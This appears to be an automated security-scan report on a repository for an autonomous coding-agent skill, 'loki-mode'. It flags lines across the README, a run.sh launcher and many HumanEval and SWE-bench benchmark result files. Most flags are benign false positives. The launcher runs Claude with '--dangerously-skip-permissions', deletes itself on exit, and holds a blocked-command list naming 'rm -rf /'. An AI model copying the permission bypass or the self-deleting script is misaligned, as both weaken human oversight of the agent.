    **Single-Responsibility Principle:** Each agent should have ONE clear goal and narrow scope. ([UiPath Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices))
  • Network accessline 357
    ([UiPath Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices))

skills/loki-mode/autonomy/README.md

  • Network accessline 70
    | Prerequisite | Required | Notes | |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code |
  • Network accessline 71
    |--------------|----------|-------| | Claude Code CLI | Yes | Install from https://claude.ai/code | | Python 3 | Yes | For state management |
  • Network accessline 72
    | Claude Code CLI | Yes | Install from https://claude.ai/code |
  • Network accessline 73
    | Python 3 | Yes | For state management | | Git | Yes | For version control | | curl | Yes | For web fetches |
  • Network accessline 74
    | Git | Yes | For version control | | curl | Yes | For web fetches | | Node.js | No | Needed for some builds |
  • Network accessline 75
    | curl | Yes | For web fetches |
  • Instruction override signalline 162
    | Feature | Manual Mode | Autonomy Mode | |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` |
  • Instruction override signalline 163
    |---------|-------------|---------------| | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` | | Prereq check | Manual | Automatic |
  • Instruction override signalline 164
    | Start | `claude --dangerously-skip-permissions` | `./autonomy/run.sh` |
  • Network accessline 175
    npm install -g @anthropic-ai/claude-code # or visit https://claude.ai/code
  • Network accessline 176
    # or visit https://claude.ai/code

skills/loki-mode/autonomy/run.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 30
    #   LOKI_BLOCKED_COMMANDS   - Comma-separated blocked shell commands (default: rm -rf /)
  • Dangerous shell operationline 79
    trap 'rm -f "${BASH_SOURCE[0]}" 2>/dev/null' EXIT
  • Network accessline 166
    missing+=("claude")         log_error "Claude Code CLI not found"         log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"
  • Network accessline 167
    log_error "Claude Code CLI not found"         log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"     fi
  • Network accessline 168
    log_info "Install: https://claude.ai/code or npm install -g @anthropic-ai/claude-code"
  • Network accessline 206
    # Check curl (for web fetches)
  • Network accessline 207
    log_step "Checking curl..."     if command -v curl &> /dev/null; then
  • Network accessline 208
    if command -v curl &> /dev/null; then
  • Network accessline 210
    else         missing+=("curl")         log_error "curl not found"
  • Network accessline 211
    missing+=("curl")         log_error "curl not found"     fi
  • Network accessline 212
    log_error "curl not found"
  • Network accessline 688
    async function loadJSON(path) {             try {                 const res = await fetch(path + '?t=' + Date.now());
  • Network accessline 689
    try {                 const res = await fetch(path + '?t=' + Date.now());                 if (!res.ok) return [];
  • Network accessline 690
    const res = await fetch(path + '?t=' + Date.now());
  • Network accessline 776
    try {                 const state = await fetch('../state/orchestrator.json?t=' + Date.now()).then(r => r.json());
  • Network accessline 777
    const state = await fetch('../state/orchestrator.json?t=' + Date.now()).then(r => r.json());
  • Dangerous shell operationline 986
    rm -f ".loki/signals/PLAN_APPROVED"
  • Access to secretsline 1073
    [Credential-related source omitted]
  • Network accessline 1193
    if kill -0 $DASHBOARD_PID 2>/dev/null; then         log_info "Dashboard started (PID: $DASHBOARD_PID)"         log_info "Dashboard: ${CYAN}http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html${NC}"
  • Network accessline 1195
    log_info "Dashboard: ${CYAN}http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html${NC}"
  • Network accessline 1198
    if [[ "$OSTYPE" == "darwin"* ]]; then             open "http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html" 2>/dev/null || true
  • Network accessline 1199
    open "http://127.0.0.1:$DASHBOARD_PORT/dashboard/index.html" 2>/dev/null || true
  • Dangerous shell operationline 1353
    rm -f ".loki/signals/CONTEXT_CLEAR_REQUESTED"
  • Dangerous shell operationline 1555
    log_error "Max iterations already reached. Reset with: rm .loki/autonomy-state.json"
  • Instruction override signalline 1595
    claude --dangerously-skip-permissions -p "$prompt" \
  • Network accessline 1608
    MAGENTA = "\033[0;35m" DIM = "\033[2m" NC = "\033[0m"
  • Network accessline 1610
    NC = "\033[0m"

skills/loki-mode/benchmarks/datasets/humaneval.jsonl

  • Dangerous shell operationline 161
    {"task_id": "HumanEval/160", "prompt": "\ndef do_algebra(operator, operand):\n    \"\"\"\n    Given two lists operator, and operand. The first list has basic algebra operations, and \n    the second list is a list of integers. Use the two g

skills/loki-mode/benchmarks/datasets/swebench-lite.json

  • Network accessline 3
    "version": "1.0",   "description": "300 real-world GitHub issues for evaluation",   "source": "https://github.com/SWE-bench/SWE-bench",
  • Network accessline 4
    "description": "300 real-world GitHub issues for evaluation",   "source": "https://github.com/SWE-bench/SWE-bench",   "problems": 300,
  • Network accessline 5
    "source": "https://github.com/SWE-bench/SWE-bench",

skills/loki-mode/benchmarks/prepare-submission.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 171
    # Fork https://github.com/SWE-bench/experiments
  • Network accessline 173
    git clone https://github.com/YOUR_USERNAME/experiments.git
  • Network accessline 193
    For questions about this submission, open an issue at: https://github.com/asklokesh/loki-mode/issues
  • Network accessline 194
    https://github.com/asklokesh/loki-mode/issues

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/0.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/1.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/10.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/100.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/101.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/102.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/103.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/104.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/105.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/106.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/107.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/108.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/109.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/11.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/110.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/111.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/112.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/113.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/114.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/115.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/116.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/117.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/118.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/119.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/12.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/120.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/121.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/122.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/123.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/124.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/125.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/126.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/127.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/128.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/129.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/13.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/130.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/131.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/132.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/133.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/134.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/135.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/136.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/137.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/138.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/139.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/14.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/140.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/141.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/142.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/143.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/144.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/145.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/146.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/147.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/148.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/149.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/15.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/150.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/151.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/152.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/153.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/154.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/155.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/156.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/157.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/158.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/159.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/16.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/160.py

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 29
    return eval(expression)

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/161.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/162.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/163.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/17.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/18.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/19.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/2.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/20.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/21.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/22.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/23.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/24.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/25.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/26.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/27.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/28.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/29.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/3.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/30.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/31.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/32.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/33.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/34.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/35.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/36.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/37.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/38.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/39.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/4.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/40.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/41.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/42.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/43.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/44.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/45.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/46.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/47.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/48.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/49.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/5.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/50.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/51.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/52.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/53.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/54.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/55.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/56.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/57.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/58.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/59.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/6.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/60.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/61.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/62.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/63.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/64.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/65.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/66.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/67.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/68.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/69.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/7.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/70.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/71.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/72.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/73.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/74.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/75.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/76.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/77.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/78.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/79.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/8.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/80.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/81.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/82.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/83.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/84.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/85.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/86.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/87.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/88.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/89.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/9.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/90.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/91.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/92.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/93.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/94.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/95.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/96.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/97.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/98.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-00-49-17/humaneval-solutions/99.py

  • Executable scriptline 1
    Executable file

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-10914.patch

  • Network accessline 14
    # The numeric mode to set newly-uploaded files to. The value should be a mode -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 15
    -# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.
  • Network accessline 16
    -FILE_UPLOAD_PERMISSIONS = None +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories. +FILE_UPLOAD_PERMISSIONS = 0o644
  • Network accessline 17
    +# you'd pass directly to os.chmod; see https://docs.python.org/library/os.html#files-and-directories.

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-11422.patch

  • Network accessline 21
    +                sys_file_paths.append(module.__file__) +            continue          # dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/
  • Network accessline 22
    +            continue          # dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/          # _pydevd_bundle/pydevd_filtering.py#L25
  • Network accessline 23
    # dir. See https://github.com/fabioz/PyDev.Debugger/blob/2d5b98f0/

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-13265.patch

  • Network accessline 23
    Wait, let me reconsider. The issue is specifically about the ordering of operations. Looking at the PR mentioned in the hints (https://github.com/iurisilvio/django), I need to understand the exact fix location.

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-13660.patch

  • Dangerous shell operationline 5
    1. In `django/core/management/commands/shell.py`, the `exec()` function is called without providing a globals dictionary
  • Dangerous shell operationline 6
    2. When `exec(options['command'])` is called without a globals dict, it uses the current local scope
  • Dangerous shell operationline 9
    The fix is to pass an empty dictionary as the second argument to `exec()` so that it creates a proper global namespace.
  • Dangerous shell operationline 17
    -            exec(options['command'])
  • Dangerous shell operationline 18
    +            exec(options['command'], {})
  • Dangerous shell operationline 23
    -            exec(sys.stdin.read())
  • Dangerous shell operationline 24
    +            exec(sys.stdin.read(), {})

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/django__django-15738.patch

  • Network accessline 181
    Actually, I realize now that I should look at the exact line numbers mentioned in the hints. They reference: - Line 910: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L91
  • Network accessline 182
    - Line 910: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L910
  • Network accessline 183
    - Lines 424-430: https://github.com/django/django/blob/b502061027b90499f2e20210f944292cecd74d24/django/db/migrations/autodetector.py#L424-L430

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pylint-dev__pylint-7228.patch

  • Network accessline 10
    +++ b/pylint/config/config_initialization.py @@ -1,6 +1,7 @@  # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  • Network accessline 11
    @@ -1,6 +1,7 @@  # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html  # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE
  • Network accessline 12
    # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  • Network accessline 13
    # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE
  • Network accessline 14
    # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pytest-dev__pytest-5692.patch

  • Network accessline 12
    +  Output conforms to  https://github.com/jenkinsci/xunit-plugin/blob/master/
  • Network accessline 13
    Output conforms to  https://github.com/jenkinsci/xunit-plugin/blob/master/  src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd/junit-10.xsd
  • Network accessline 14
    https://github.com/jenkinsci/xunit-plugin/blob/master/

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/pytest-dev__pytest-7373.patch

  • Dangerous shell operationline 20
    return eval(co, d)
  • Dangerous shell operationline 32
    -        evalcache[expr] = x = eval(exprcode, d)

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-13437.patch

  • Dangerous shell operationline 9
    def eval(cls, n, k_sym=None, symbols=None):

skills/loki-mode/benchmarks/results/2026-01-05-01-24-17/swebench-patches/sympy__sympy-13915.patch

  • Network accessline 14
    if b.is_Number:                  c, nc = split_args(b)
  • Network accessline 15
    c, nc = split_args(b)
  • Network accessline 22
    +                        c_powers[b] = c_powers.get(b, S.Zero) + e +                        continue +                c, nc = S.One, []
  • Network accessline 23
    +                        continue +                c, nc = S.One, []              else:
  • Network accessline 24
